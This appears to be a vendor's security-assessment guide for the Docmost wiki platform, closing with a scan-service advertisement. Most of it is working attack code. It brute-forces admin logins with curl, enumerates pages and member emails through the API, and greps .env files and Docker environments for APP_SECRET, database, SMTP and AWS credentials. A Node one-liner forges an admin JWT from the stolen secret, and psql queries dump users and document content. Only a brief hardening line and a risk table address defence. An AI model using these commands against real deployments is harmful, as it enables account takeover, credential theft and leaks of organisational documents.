Docmost is a widely deployed open-source collaborative document editor (Notion/Confluence alternative) built on Node.js, used by teams to create wikis, documentation, and collaborative knowledge bases — it stores all organizational documentation, internal policies, and team knowledge. Key assessment areas: APP_SECRET in .env is used to sign JWT authentication tokens, and its compromise enables forging valid tokens as any Docmost user; DATABASE_URL contains the PostgreSQL connection string with all document content; REDIS_URL stores active sessions; and the Docmost API allows enumeration of workspace pages, spaces, and members. This guide covers systematic Docmost security assessment.
# Docmost — authentication and default credential testing
DOCMOST_URL="https://docmost.example.com"
# Docmost first-run: admin email set during workspace setup
# Test common admin email + weak password combinations
for PASS in "admin" "password" "docmost" "changeme" "123456" "admin123"; do
STATUS=$(curl -s -X POST "${DOCMOST_URL}/api/auth/login" \
-H "Content-Type: application/json" \
-d "{\"email\":\"admin@example.com\",\"password\":\"${PASS}\"}" 2>/dev/null | \
python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
if 'token' in d or 'accessToken' in d or 'access_token' in d:
print('OK: '+str(d))
else:
print('FAIL')
except:
print('ERROR')
" 2>/dev/null)
echo "admin@example.com/${PASS}: ${STATUS}"
done
# Successful authentication — extract JWT token
AUTH=$(curl -s -X POST "${DOCMOST_URL}/api/auth/login" \
-H "Content-Type: application/json" \
-d '{"email":"admin@example.com","password":"YOUR_PASS"}' 2>/dev/null)
TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
t = d.get('token') or d.get('accessToken') or d.get('access_token','')
print(t)
" 2>/dev/null)
echo "Token: ${TOKEN}"
# Get current user info
curl -s "${DOCMOST_URL}/api/users/me" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"name\")} ({d.get(\"email\")}) role={d.get(\"role\")}')
" 2>/dev/null
# Docmost API — workspace, space, and page enumeration
DOCMOST_URL="https://docmost.example.com"
TOKEN="your-jwt-token"
# Get workspace info
curl -s "${DOCMOST_URL}/api/workspaces" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
ws = d if isinstance(d,list) else [d]
for w in ws:
print(f'Workspace: {w.get(\"name\")} id={w.get(\"id\")} members={w.get(\"memberCount\")}')
" 2>/dev/null
# List all spaces (sections/categories)
curl -s "${DOCMOST_URL}/api/spaces" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
spaces = d.get('items',d) if isinstance(d,dict) else d
print(f'Spaces: {len(spaces)}')
for s in spaces:
print(f' [{s.get(\"id\")}] {s.get(\"name\")} slug={s.get(\"slug\")} visibility={s.get(\"visibility\")}')
" 2>/dev/null
SPACE_ID="your-space-id"
# List all pages in a space — document titles and content access
curl -s "${DOCMOST_URL}/api/pages?spaceId=${SPACE_ID}" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
pages = d.get('items',d) if isinstance(d,dict) else d
print(f'Pages: {len(pages)}')
for p in pages[:10]:
print(f' [{p.get(\"id\")}] {p.get(\"title\")} slug={p.get(\"slug\")} by={p.get(\"creatorId\")}')
" 2>/dev/null
PAGE_ID="your-page-id"
# Get full page content
curl -s "${DOCMOST_URL}/api/pages/${PAGE_ID}" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Title: {d.get(\"title\")}')
content = d.get('content','')
if isinstance(content,dict):
import re
text = re.sub(r'<[^>]+>','',str(content))[:500]
else:
text = str(content)[:500]
print(f'Content: {text}')
" 2>/dev/null
# List workspace members — all user emails
curl -s "${DOCMOST_URL}/api/workspaces/members" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
members = d.get('items',d) if isinstance(d,dict) else d
print(f'Members: {len(members)}')
for m in members[:10]:
u = m.get('user',m)
print(f' {u.get(\"name\")} ({u.get(\"email\")}) role={m.get(\"role\",u.get(\"role\",\"\"))}')
" 2>/dev/null
# Docmost .env APP_SECRET and database credential extraction
# .env file — application secrets
cat /app/.env 2>/dev/null | grep -E "APP_SECRET|DATABASE_URL|REDIS_URL|SMTP|MAIL|STORAGE|AWS"
# APP_SECRET — JWT signing secret for authentication tokens
# DATABASE_URL — PostgreSQL connection string with password
# REDIS_URL — Redis connection (session storage)
# SMTP_* — email server credentials for password reset emails
# Docker environment variables
docker inspect docmost 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['APP_SECRET','DATABASE','REDIS','SMTP','MAIL','AWS','SECRET']):
print(e)
" 2>/dev/null
# Forge JWT using extracted APP_SECRET
APP_SECRET="extracted-secret"
node -e "
const crypto = require('crypto');
const secret = '${APP_SECRET}';
const now = Math.floor(Date.now()/1000);
const header = Buffer.from(JSON.stringify({alg:'HS256',typ:'JWT'})).toString('base64url');
const payload = Buffer.from(JSON.stringify({
sub: 'user-id-from-db',
email: 'admin@example.com',
role: 'admin',
iat: now,
exp: now + 86400
})).toString('base64url');
const sig = crypto.createHmac('sha256', secret).update(header+'.'+payload).digest('base64url');
console.log('Forged JWT: '+header+'.'+payload+'.'+sig);
" 2>/dev/null
# PostgreSQL direct access
DATABASE_URL="postgresql://docmost:PASSWORD@localhost/docmost"
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
-- All Docmost users
SELECT id, name, email, role, email_verified_at,
suspended_at, created_at, last_active_at
FROM users
ORDER BY role, created_at DESC
LIMIT 20;
EOF
# All pages and their content
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
SELECT p.id, p.title, p.slug, p.creator_id,
u.email as creator_email,
left(p.content::text, 200) as content_preview
FROM pages p
LEFT JOIN users u ON p.creator_id = u.id
ORDER BY p.created_at DESC
LIMIT 10;
EOF
openssl rand -hex 32 or node -e "console.log(require('crypto').randomBytes(32).toString('hex'))"; restrict .env to 600 owned by the Docmost process user; never commit .env to version control; use Docker secrets or a secrets manager in production; rotate APP_SECRET immediately if exposed — this invalidates all existing sessions and requires all users to re-authenticate| Security Test | Method | Risk |
|---|---|---|
| APP_SECRET extraction and JWT token forgery | Read .env APP_SECRET — JWT signing secret; forge valid authentication tokens as any Docmost user including admins bypassing password authentication | Critical |
| API page content enumeration | GET /api/pages?spaceId={id} — all page titles; GET /api/pages/{id} — full document content; access to all organizational documentation including sensitive internal policies | High |
| DATABASE_URL credential extraction | Read .env DATABASE_URL — full PostgreSQL connection string; direct access to all Docmost data including documents, user accounts, and workspace configurations | Critical |
| Workspace member email harvesting | GET /api/workspaces/members — all workspace members with emails and roles; enables targeted phishing against all documentation platform users | High |
| Redis session token theft | Access REDIS_URL — active session tokens stored in Redis; enables user impersonation without APP_SECRET or password for any currently logged-in user | High |
Ironimo tests Docmost deployments for APP_SECRET extraction and JWT token forgery, API workspace/space/page enumeration with document content extraction, member email harvesting, DATABASE_URL PostgreSQL credential extraction, Redis session token access, SMTP credential extraction, Docker environment variable exposure, space visibility misconfiguration testing, public registration bypass testing, and admin credential brute force protection assessment.
Start free scan